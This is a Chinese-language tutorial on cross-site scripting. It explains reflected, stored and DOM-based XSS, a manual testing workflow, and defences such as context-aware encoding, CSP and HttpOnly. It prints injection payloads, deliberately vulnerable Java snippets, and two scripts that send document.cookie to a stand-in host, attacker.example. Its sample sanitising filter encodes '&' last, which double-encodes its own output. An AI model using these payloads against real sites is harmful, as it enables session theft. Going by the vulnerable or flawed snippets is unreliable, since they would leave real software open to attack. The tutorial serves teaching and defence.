☰
XSS漏洞深度解析:原理、类型、实战与防御指南
2026/9/25 16:39:36 网站建设 项目流程

先从一个真实场景说起。前几年我做了一次企业内部的Web应用安全评估,拿到一份扫描报告,标题写着"存在反射型XSS漏洞,中危"。我打开那个链接,发现就是搜索框里输入什么,结果页就原样回显什么,<script>alert(1)</script>敲进去直接弹窗。看起来没什么杀伤力,但如果攻击者把这条链接包装成"点击查看你的考试成绩",发给目标用户,那用户浏览器里能拿到的东西,攻击者基本也都能拿到。

XSS攻击,说白了就是一波"数据与代码混淆"的操作,有人叫它跨站脚本,但它横跨的从来不是站点,而是信任边界。今天我打算把这套东西从头到尾捋一遍:它的本质是什么、三种类型的触发机制有什么差别、我平时测试是怎么一步步把payload打进去的、以及真正有效的防御该怎么写。这篇文章主要给三类人看:刚入门Web安全、想搞明白XSS不是只会念payload的新手,写业务代码时想知道"为什么我的输入过滤不管用"的后端研发,以及负责安全测试但总被扫描器误报折腾的测试同学。全文没有藏着掖着的部分,按着顺序读完,你现在心里对XSS的疑问应该能消掉一大半。

1. 先搞清楚XSS到底打的是什么:三条数据链路和它的本质

XSS全称Cross-Site Scripting,中文习惯叫跨站脚本攻击。但这个名字有点误导,真正被打的不是"站点",而是浏览器里的一段脚本执行环境。攻击者把自己的脚本注入到页面中,让它在受害者的浏览器里以当前站点的身份运行。这个"以合法身份运行"是它最危险的地方,因为脚本能操作DOM、读取Cookie、发起请求,而这一切在浏览器看来都是页面自己的行为。

1.1 从"数据与代码混淆"说起

我在讲注入类漏洞时,特别喜欢用一个概念:数据与代码混淆。正常的请求是"用户输入数据,服务端把数据处理后返回"。但如果服务端把用户输入的数据直接当作页面代码的一部分拼到响应里,那用户输入就不再是"数据",而变成了"代码"。

举个生活化的例子。你在一张纸条上写"请帮我把柜子上的盒子拿过来",这是指令。如果把纸条直接贴在机器人控制程序的执行语句里,那这张纸条上的字就变成程序的一部分。写"请帮我拿盒子"没事,写"把系统文件删掉",机器人就会照做。XSS是同一逻辑:受害者提交的字符串里混着<script>标签,服务端不做处理直接塞进HTML,浏览器解析HTML时把它当成了可执行的脚本。

判断一段输入是否存在XSS风险,核心就一句话:它最终出现在页面什么地方、被当作什么角色解析。出现在HTML标签内部,要考虑能否闭合标签;出现在HTML属性中,要考虑能否逃逸出引号;出现在JavaScript代码块里,要考虑能否闭合字符串。同一个payload换个位置,效果完全不同。这些细节在后面每一类XSS的实操部分我都会展开。

1.2 三种类型:反射型、存储型、DOM型

按触发方式和数据链路,XSS分成三类。先把它们的差异摆在一张表里,后面几节再逐一拆开讲。

类型数据流向触发时机危害半径典型场景
反射型攻击者→受害者点击链接→目标服务器→浏览器一次性,需要诱导点击仅受害者个人搜索页、参数回显、错误页
存储型攻击者→目标服务器数据库→任意用户访问页面→浏览器每次访问都触发所有访问该页面的用户评论区、留言板、个人信息、富文本
DOM型攻击者→受害者点击链接→前端JavaScript直接读取并修改DOM一次性,不经过服务端渲染仅受害者个人前端路由、hash参数处理、innerHTML拼接

反射型和存储型的共同点是payload都在服务端响应里出现过,区别只是一个是一次性回显、一个是写进数据库每次访问都带出来。DOM型最特殊,服务端全程不知道发生了什么,响应里根本没有payload,完全是前端JavaScript读URL参数、读location.hash,然后把它拼到innerHTML这类危险操作里。

从危害面积看,存储型大于反射型和DOM型;从容易被漏看的角度看,DOM型最容易被扫描器放过。三种类型的防御思考也不一样:反射型靠输出编码,存储型在编码之上还得考虑输入合法性校验,DOM型只能靠前端代码规范和Content Security Policy兜底。我见过不少团队把工夫全花在过滤输入上,然后被DOM型打得措手不及,因为服务端过滤根本管不着前端自己拼HTML。

2. 三种XSS的触发细节与payload构造思路

知道区别还不够,得知道攻击者是怎么一步步把一个小小payload"打"进去的。这节每一种类型我都会给出典型的漏洞代码片段、payload样例,以及payload为什么能奏效的原理解释。

2.1 反射型XSS:最容易上手的入口

反射型XSS的典型场景是搜索功能。假设后端代码长这样:

// Java Servlet示例 String keyword = request.getParameter("keyword"); out.println("<div>您搜索的关键词是:" + keyword + "</div>");

用户访问/search?keyword=hello,页面显示"您搜索的关键词是:hello"。看起来没毛病。但如果keyword传<script>alert(document.cookie)</script>,服务端拼出来的HTML就成了:

<div>您搜索的关键词是:<script>alert(document.cookie)</script></div>

浏览器解析这个HTML时,把<script>当成了脚本标签,直接执行。这就是最原始的"弹窗证明"。

实际利用中,事情不会这么顺利,因为很多站点会做简单的过滤,或者输出位置不在标签内部。我总结过几种常见的payload改造思路:

  • 标签闭合:如果输入被拼在<div>或<input>的value属性里,<script>标签不一定生效,这时需要先闭合前面未闭合的部分。比如<input value="这里插入">输出时没有转义引号,就输入"><script>alert(1)</script>,先把属性引号闭合、标签闭合,再注入新标签。
  • 事件属性:有些场景下<script>会被过滤掉,改用<img src=x onerror=alert(1)>,图片加载失败触发onerror事件。
  • 伪协议:在<a href>这类支持URL跳转的属性里,写法是<a href="javascript:alert(1)">点我</a>,点击时执行脚本。

反射型之所以叫"反射",是因为payload像光线打在镜面上一样,被服务器原样弹回来。攻击者只需要把构造好的URL发给受害者,受害者点击后payload就在自己浏览器跑起来。URL里的payload通常要做URL编码,否则遇到特殊字符会被浏览器或框架拦下。<script>alert(1)</script>在URL里写起来太长,实战里常用短payload如<svg/onload=alert(1)>或者<img src=x onerror=alert(1)>,作用一样但更隐蔽。

2.2 存储型XSS:危害最大,进库出库都中招

存储型是三种类型里我最重视的,原因很简单:反射型一次只能打一个人,存储型把payload写进数据库,之后每个访问页面的用户都会执行一次脚本,完全是"一发入魂,全员中招"的效果。

典型的漏洞场景是评论区。后端代码可能长这样:

// Java伪代码:保存评论 String comment = request.getParameter("comment"); String sql = "INSERT INTO comments(content) VALUES('" + comment + "')"; // 展示评论时 String content = rs.getString("content"); out.println("<div class='comment'>" + content + "</div>");

攻击者提交一条评论,内容为:

<script> fetch('https://attacker.example/collect?cookie=' + document.cookie); </script>

这条评论存进数据库后,任何用户打开评论区页面,服务端把这条评论原样输出,浏览器执行脚本,把受害者Cookie发给攻击者服务器。所有看过页面的人Cookie全被收走,危害面积非常大。

除了直接执行脚本,还有一种常见的利用方式是"存储后置变异"。攻击者在评论区留一段看起来无害的文字,比如:

<img src=x onerror="document.body.innerHTML='<h1>您已被攻击</h1>'">

图片加载失败触发onerror,直接把整个页面内容替换掉。这种刷广告、改页面内容的攻击方式经常出现在论坛和电商评论区里。

对付存储型XSS,只在前端做输入校验是完全不够的,因为攻击者完全可以绕过前端页面,直接向接口提交数据。我在做测试时经常用Burp Suite抓包,绕过页面直接改POST请求体,前端做的校验形同虚设。

2.3 DOM型XSS:前端代码里的盲区

DOM型XSS和前面两种有本质区别,payload根本不会出现在服务端的响应HTML里。服务端返回的页面是"干净"的,但页面里的JavaScript在运行时读取了URL参数、location.hash或者document.referrer,然后把数据直接拼到了DOM里。

一个很典型的DOM型漏洞代码:

<script> var name = location.hash.substring(1); // 从URL的#后面取参数 document.getElementById("welcome").innerHTML = "欢迎," + name; </script>

攻击者构造链接https://example.com/page#<img src=x onerror=alert(1)>,受害者点击后,页面加载完JS,把hash里的内容拼到innerHTML,<img>标签被解析,onerror触发。整个过程服务端不认识这个payload,日志里也查不到,因为#后面的内容根本不会发给服务器。

DOM型最难的地方在于"看不见"。源代码审查看不到输出点,扫描器也很难探测到,因为服务器响应里没有payload。我当初接手过一个老系统,前端用了大量innerHTML拼接用户可控数据,审计时翻了几十处JS才找到两条危险链路。

排查DOM型XSS,我的经验是先找危险函数:innerHTML、outerHTML、document.write()、eval()、setTimeout()里的字符串参数。再沿着这些函数反推数据来源:哪个变量是location.hash、location.search、document.referrer、window.name传进来的。如果源头可控、终点是危险函数,中间没有做转义或白名单校验,基本就是DOM型XSS。

3. 从原理到实战:手把手走一遍完整测试流程

理解原理之后,真正动手测试才是硬功夫。这节我会给一个完整的测试流程,从搭建本地靶场环境开始,对三种XSS类型逐一演示。

3.1 测试前的准备与环境

先说安全边界:以下所有测试步骤,仅限在你自己搭建的本地环境或获得授权的测试环境中进行。未经授权对别人的系统做渗透测试,在国内是违法行为,我见过不止一个同行因为在客户没授权的前提下顺手试了试而惹上麻烦。做安全测试先学会红线,技术第二。

本地测试我推荐两种做法。一种是直接装现成的靶场,比如DVWA(Damn Vulnerable Web Application),里面自带XSS模块,PHP环境跑起来就能用;另一种是自己写一个几十行的小页面,更能直观理解漏洞成因。我倾向于让新人先用后者,因为自己写的代码出问题了能立刻看到根因。

最简单的Demo用一个Java Spring Boot项目,写一个带漏洞的接口:

@RestController public class CommentController { // 存储所有评论 private static List<String> comments = new CopyOnWriteArrayList<>(); @GetMapping("/comment") public String commentPage(@RequestParam(defaultValue = "") String content) { comments.add(content); // 存储型漏洞:直接把输入存起来 StringBuilder sb = new StringBuilder(); sb.append("<html><body><h3>评论区</h3><ul>"); for (String c : comments) { sb.append("<li>").append(c).append("</li>"); } sb.append("</ul></body></html>"); return sb.toString(); } }

这段代码只用于学习,把用户输入直接拼进HTML输出,是教科书级的存储型XSS漏洞。自己运行起来,访问http://localhost:8080/comment?content=hello,能看到"hello"被渲染成列表项。

3.2 一个典型的反射型XSS测试过程

反射型测试我习惯按照四个步骤走:输入探测、观察回显、构造闭合、验证利用。

第一步,输入探测。先在参数里填一个普通字符串,比如test123,然后看页面哪里回显了它、回显位置在什么HTML上下文里。如果是<div>您搜索的关键词是:test123</div>,说明位置在HTML文本节点;如果是在<input value="test123">,说明在属性节点。同一个payload在不同上下文里的存活能力完全不一样。

第二步,观察回显。看服务端有没有对输入做编码。如果<被输出成&lt;,那HTML实体编码生效,直接注入标签无效;如果原样输出,继续往下走。

第三步,构造闭合。回显在<input value="——这里——">时,直接传<script>是没用的,因为脚本标签在属性值里不会被解析。需要先闭合属性引号和标签,payload变成:

"><script>alert(document.domain)</script>

最终拼出来是:

<input value=""><script>alert(document.domain)</script>">

第四步,验证利用。弹出当前域名说明脚本已经以当前站点上下文执行,漏洞确认。测试环境里我通常弹alert(document.domain),比弹alert(1)更有意义,能确认脚本域名确实是目标站点。

反射型XSS测试里有个常被忽视的坑:浏览器的XSS过滤器。Chrome的XSS Auditor以前会拦截URL里明显的<script>payload,现代浏览器又改成了XSS Filter或类似机制。如果payload被浏览器拦截,不代表漏洞不存在,只说明浏览器在帮你挡。要用Firefox做测试,或者用Burp Suite直接看原始响应,确认服务端确实原样输出了payload。

3.3 存储型XSS的完整验证与利用演示

存储型的完整流程分五步:构造payload、提交、等待入库、触发、验证。

支付payload时我会先传一条最基础的验证payload:<script>alert(document.cookie)</script>,提交后刷新页面,弹窗出现说明存储成功且执行成功。在这个基础上,再升级为"窃取数据"型payload:

<script> new Image().src = 'http://attacker.example/steal?cookie=' + document.cookie; </script>

这段代码用new Image().src发一个GET请求,把cookie带到攻击者服务器。之所以不用fetch,是因为有些老浏览器不支持fetch,new Image()是兼容性最好的外带数据方式。

受害者浏览器执行这段脚本后,attacker.example的日志里会出现一条包含PHPSESSID=xxx字样的请求。如果应用设置了HttpOnly属性,document.cookie是拿不到的。这时候攻击者会转而去偷页面里的其他敏感数据,比如用户输入的表单内容、页面上的订单号、甚至是用户行为。

存储型测试的关键在于"二次触发"。payload提交后不一定在当前页面触发,可能要在别的页面、别的用户访问时才触发。我在测试时会把"存储"和"触发"分开验证:先确认payload成功写入数据库,再去访问目标页面确认执行。如果存在后台审核之类的环节,还要判断审核后payload是否被过滤,这决定了漏洞的可利用性。

3.4 DOM型XSS的实战测试示例

DOM型的测试步骤和技术手段完全不同,因为它不经过服务端,抓包看响应是看不出来的。我按下面这个思路来:

第一步,确认前端JS是否读取了可控数据源。先在浏览器地址栏里给URL加一个参数#test,看页面哪里出现了test字样。然后在Console里执行document.querySelectorAll('*'),查找包含test文本的元素。

第二步,沿数据流定位危险函数。用Sources面板搜索innerHTML和document.write,逐一查看上游变量赋值情况。

第三步,构造危险输入。假设代码是:

<script> var html = "<div>" + location.hash.substring(1) + "</div>"; document.getElementById('box').innerHTML = html; </script>

访问http://localhost:8080/page#<img src=x onerror=alert(document.domain)>,hash的内容拼进innerHTML后,<img>标签被解析,src加载失败触发onerror,弹窗。

DOM型XSS测试里最实用的技巧是用浏览器Console手动调用关键函数,提前看数据流是否会走到危险操作。比如在Console里模拟执行:

document.getElementById('box').innerHTML = "<img src=x onerror=alert(1)>";

如果出现弹窗,说明这个DOM节点的innerHTML存在被注入的可能,再反推它的数据来源就能锁定完整利用链。

4. 核心防御:从源头掐死这三种路子

讲完攻击再谈防御,才明白为什么有些防御措施是"表面功夫"。防御XSS,我总结成四个层次:输出编码、输入校验、安全头配置、框架级统一处理。这四个层次缺一个都有被绕过的风险。

4.1 输入过滤与输出编码:各管一段,别混着做

很多团队做XSS防御,最常犯的错是把所有希望寄托在"过滤输入"上。前端过滤可以绕过,后端过滤字符很容易漏。真正的安全防线在"输出编码"。

输出编码要区分上下文:

  • HTML实体上下文:输出到<div>、<p>、<li>这类标签内容里,需要把<转成&lt;、>转成&gt;、&转成&amp;、引号转成&quot;。
  • HTML属性上下文:输出到<input value="...">等属性里,除了转义HTML实体,尤其要把双引号转义,否则payload逃逸出属性值。
  • JavaScript上下文:输出到<script>内部或事件属性里,HTML实体编码不一定管用,需要做JS字符串转义。注意<script>alert(0)</script>如果在事件属性里紧凑成<img src=x onerror="alert(0)">不需要转义引号,但如果是拼在JS字符串里,就要处理'、"、\n、\u003c。
  • URL上下文:输出到<a href="...">、<iframe src="...">等URL属性,要校验协议白名单,禁止javascript:、data:等危险协议。

Java里的做法是借助现成的转义库,别自己手写正则:

import org.owasp.encoder.Encode; // 输出到HTML标签内容 out.println(Encode.forHtml(userInput)); // 输出到HTML属性 out.println(Encode.forHtmlAttribute(userInput)); // 输出到JavaScript out.println(Encode.forJavaScript(userInput)); // 输出到URL out.println(Encode.forUriComponent(userInput));

我自己见过一次事故:开发手动写了个过滤函数,把<script>替换成空字符串,攻击者输入<scr<script>ipt>,第一次过滤后变成<script>,又被拼进页面执行。这就是黑名单过滤的经典翻车现场。过滤做黑名单只能当辅助,不能当主力。

4.2 HttpOnly、CSP、安全响应头配置

安全响应头是性价比很高的防御手段,配置好一劳永逸。

HttpOnly是个Cookie属性,设置了之后document.cookie读取不到这个Cookie。攻击者的XSS payload即使执行了,也拿不到会话标识,降低了窃取会话的风险。Java里的设置:

Cookie cookie = new Cookie("JSESSIONID", sessionId); cookie.setHttpOnly(true); cookie.setSecure(true); // 同时要求HTTPS response.addCookie(cookie);

Content Security Policy(CSP)是第二道保险,也是我最看重的一道。它通过响应头告诉浏览器:这个页面只允许加载哪些来源的脚本、图片、样式。攻击者即使成功注入了<script>,如果CSP里script-src没允许攻击者的域名,浏览器也不会执行。

一个相对安全的CSP配置:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none';

含义是:默认只能加载同源资源,脚本只能来自同源,不允许embed/object,页面不允许被iframe嵌入。注意script-src禁用了'unsafe-inline',页面里所有内联脚本都会被禁止执行,如果你有内联脚本需求,要么改成外部文件,要么合理配置'sha256-xxx'哈希。

我踩过CSP的坑:给一个线上系统配置了严格的CSP,半小时后被业务方投诉页面全白,因为系统用了大量内联事件属性onclick="..."。后来只能改成在外部JS里绑定事件,才敢把CSP收紧。

其他安全头也顺手加上:

  • X-Content-Type-Options: nosniff,禁止浏览器猜测响应类型,减少解析歧义
  • X-Frame-Options: DENY,防止点击劫持

4.3 SpringBoot等项目框架的统一过滤器方案

针对热词里提到的"SpringBoot项目全局过滤器处理上传PDF时的XSS攻击",这里展开讲一个我实际用过的框架级解决方案。

先解释为什么需要全局过滤器:业务接口太多,不可能在所有输出点上逐一加编码。全局过滤器在请求进Controller之前统一清洗,或者在响应出去之前统一编码,一次配置全部生效。我推荐"请求时清洗、响应时编码"双管齐下,但要注意清洗的副作用。

一个简单的SpringBoot全局过滤器:

@Component public class XssFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 包装请求,对参数值做HTML转义清洗 HttpServletRequest httpRequest = (HttpServletRequest) request; XssHttpServletRequestWrapper wrapper = new XssHttpServletRequestWrapper(httpRequest); chain.doFilter(wrapper, response); } }

XssHttpServletRequestWrapper重写getParameter()和getParameterValues():

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXss(value); } private String cleanXss(String value) { if (value == null) { return null; } // 过滤常见危险字符 return value.replaceAll("<", "&lt;") .replaceAll(">", "&gt;") .replaceAll("\"", "&quot;") .replaceAll("'", "&#x27;") .replaceAll("&", "&amp;"); } }

这里有个很关键的注意点:参数清洗是输入层面的处理,会改变业务数据本身。比如用户合法输入了<b>你好</b>,清洗后变成&lt;b&gt;你好&lt;/b&gt;,存进数据库的就是转义后的内容。如果业务在别处还要用这个内容做模板渲染,可能出问题。所以参数清洗更适合用在"明确不允许任何HTML输入"的字段上,对需要富文本的字段建议走输出编码路线,不要统一清洗。

再说上传PDF的场景。文件上传接口里,全局参数过滤器只处理普通表单参数,文件本身不在getParameter()范围。问题出在文件名上:用户可控的文件名可能带<script>,如果系统把文件名回显到页面或日志里,一样触发XSS。处理方式是在Multipart解析后对文件名做转义:

@PostMapping("/upload") public String upload(@RequestParam("file") MultipartFile file) { String originalFilename = file.getOriginalFilename(); // 文件名做HTML转义再入库或输出 String safeName = Encode.forHtml(originalFilename); // 同时建议用UUID重命名文件,避免原始文件名带来的隐患 String storedName = UUID.randomUUID().toString(); return "上传成功,文件名: " + safeName; }

PDF内容本身的XSS是另一个维度的话题,PDF文档内嵌脚本、URL跳转,属于PDF解析器的安全范畴,和Web应用的XSS过滤器是两码事,这里不展开。

全局过滤器方案不是银弹,它是一个"兜底"措施。真正扎实的防御必须做到:输出编码到位、CSP配置正确、Cookie加HttpOnly,这几件事缺一不可。别以为加了过滤器就高枕无忧,DOM型XSS完全绕开服务端,过滤器再强也管不到前端JS自己拼DOM。

5. 实际排查中的那些坑与经验

做了这么多年Web安全检查,XSS相关的坑遇到太多,这节直接整理成速查表和处理经验,这些内容普通文档里很难找到。

5.1 常见问题速查表

现象根本原因解决方案
输入了<script>URL后浏览器纯白屏浏览器XSS过滤器拦截了明显的payload改用Firefox测试;用alert(document.domain);抓包看原始响应确认输出
提交评论后数据库里的<变成&lt;后端做了全局参数清洗确认是否需要存原文;若需要富文本,改为输出侧编码
document.cookie打印为空Cookie设置了HttpOnly换偷取其他敏感数据;确认HttpOnly对会话保护效果
扫描器报告XSS但手动验证不弹窗触发位置不在扫描器猜测的注入点检查每个输出点对应位置的闭合方式,逐个构造闭合payload
前端过滤了<script>但XSS仍生效前端校验可绕过;payload变体多直接抓包改请求体测试;后端不能信任任何前端过滤
严格CSP配置后页面样式全丢style-src未配内联样式收紧CSP要逐项排查页面依赖;先放日志观察再逐步收紧
过滤器清洗后业务数据变形参数清洗范围过大划清"纯文本字段"和"富文本字段"边界;富文本走白名单

5.2 实操心得:扫描器为什么总漏报?

我负责过几次安全测试,扫描器报了一堆,手动一测全是误报;真正危险的几个存储型XSS,扫描器反而没报出来。这个现象不奇怪,扫描器本质上是"发一堆payload,看响应有没有原样返回",有几个盲区:

  • DOM型XSS:payload不会出现在服务端响应里,扫描器只比对响应内容,自然测不出来。
  • 存储型需要"二次触发":扫描器提交payload后,如果触发页面要登录、要特定路径,扫描器没有后续步骤,就测不到。
  • 上下文复杂:payload拼在JS字符串里,或属性里有嵌套,通用payload套不上。

所以做XSS排查不能纯靠工具,手动审计前端JS、追踪数据流、逐个回显点构造闭合payload,这些基本功才是排查核心。扫描器报告只能当"线索",不是"结论"。

5.3 针对存储型XSS的排查建议

我给研发团队做安全评审时,面对可能的存储型XSS,习惯先回答三个问题:

第一,哪些接口接收用户输入?把@RequestParam、@RequestBody、文件上传全部列出来,这就是输入面。

第二,这些输入最终输出在哪些页面?追查数据流转全链路,从数据库到实体类再到模板渲染。

第三,输出时有做上下文编码吗?模板引擎的自动转义开没开?如果用了Thymeleaf,默认th:text会转义,但th:utext不会;Vue的{{ }}插值能转义,v-html不转义。框架帮忙做的那些事要心里有数,别一看到用了框架就以为安全。

顺着这三个问题排查,基本能把存储型XSS的链路摸干净。

6. 收尾:这些经验和建议是我踩坑换来的

写到最后,分享几个我实际测试中总结出来的经验,谈不上系统的理论,但对实际操作挺有帮助。

第一,测试时优先用alert(document.domain)而不是alert(1)。前者能确认脚本确实以目标域名上下文执行,避免被浏览器过滤器或者上下文差异糊弄过去。我见过新手在data:协议的上下文里弹窗成功,以为漏洞确认,其实利用难度和危害评估完全不同。

第二,构造payload时永远先确认输出位置。见到输入框先看回显在<div>文本里还是<input>属性里还是JS代码里,同一个payload在不同位置的存活率天差地别。别一上来就<script>alert(1)</script>硬怼,那不是测试,是碰运气。

第三,防御一定要分上下文,别想用一个"万能转义函数"解决所有问题。HTML实体编码对属性注入有效,但挡不住JS上下文里的\u003c;JS转义能挡住字符串逃逸,但管不了eval()执行。我一个项目里见过开发把输出统一走Encode.forHtml,结果在JS代码里输出时引号没转义,照样被注入。

最后一句话是真正的体悟:XSS攻击的核心不在"攻击者能构造什么",而在"开发者在哪个环节把数据错当成了代码"。搞懂了这句话,你就能在项目里真正做到举一反三,而不是背下一个payload模板。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询